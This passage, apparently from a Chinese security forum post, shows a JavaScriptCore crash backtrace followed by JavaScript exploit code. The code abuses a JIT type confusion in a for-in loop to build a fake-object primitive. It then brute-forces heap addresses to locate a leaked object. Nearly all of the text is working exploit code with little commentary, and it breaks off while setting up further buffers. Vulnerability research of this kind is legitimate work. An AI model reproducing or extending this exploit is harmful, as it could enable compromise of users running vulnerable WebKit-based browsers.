[#3] 0x7ffff6f6e71d → operationOptimize()
[#0] 0x7ffff6616dfb → JSC::speculationFromCell(JSC::JSCell*)()
[#1] 0x7ffff65f7655 → JSC::CompressedLazyValueProfileHolder::computeUpdatedPredictions(JSC::ConcurrentJSLocker
const
&, JSC::CodeBlock*)()
[#2] 0x7ffff65936bc → JSC::CodeBlock::updateAllPredictions()()
[#3] 0x7ffff6f6e71d → operationOptimize()
var
abuf =
new
ArrayBuffer(8);
var
lbuf =
new
BigUint64Array(abuf);
var
fbuf =
new
Float64Array(abuf);
var
t = {x: {}};
var
obj = {x:1234, y:1234};
var
obj_to_leak = { p1: 1337, p2: 1337 };
function
trigger(arg, a2) {
for
(let i
in
obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}
function
compare_obj(pointer, target_obj) {
return
pointer.x === target_obj;
}
function
fakeObject(addr) {
lbuf[0] = 0xfffe_0000_0000_0000n + addr;
trigger(fbuf, t);
}
trigger(obj, t);
trigger(t, obj_to_leak);
for
(let i = 0 ; i < 0x1000; i++) {
trigger(fbuf,t);
}
lbuf[0] = 0xfffe0000_22222222n;
for
(let i = 0; i < 0x1000; i++) {
trigger(fbuf, t);
}
for
(let i = 0; i < 0x10000; i++) {
compare_obj(t, obj_to_leak);
}
debug(describe(obj_to_leak));
var
addr = 0n;
for
(let i = 0n; i < 0xffffn; i += 1n) {
print(i);
addr = 0x7f0000500180n + i*0x1000000n;
fakeObject(addr);
let res = compare_obj(t, obj_to_leak);
if
(res) {
print(
"Success"
);
break
}
}
debug(describe(obj_to_leak));
print(
"addr: 0x"
+addr.toString(16));
var
abuf =
new
ArrayBuffer(8);
var
lbuf =
new
BigUint64Array(abuf);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!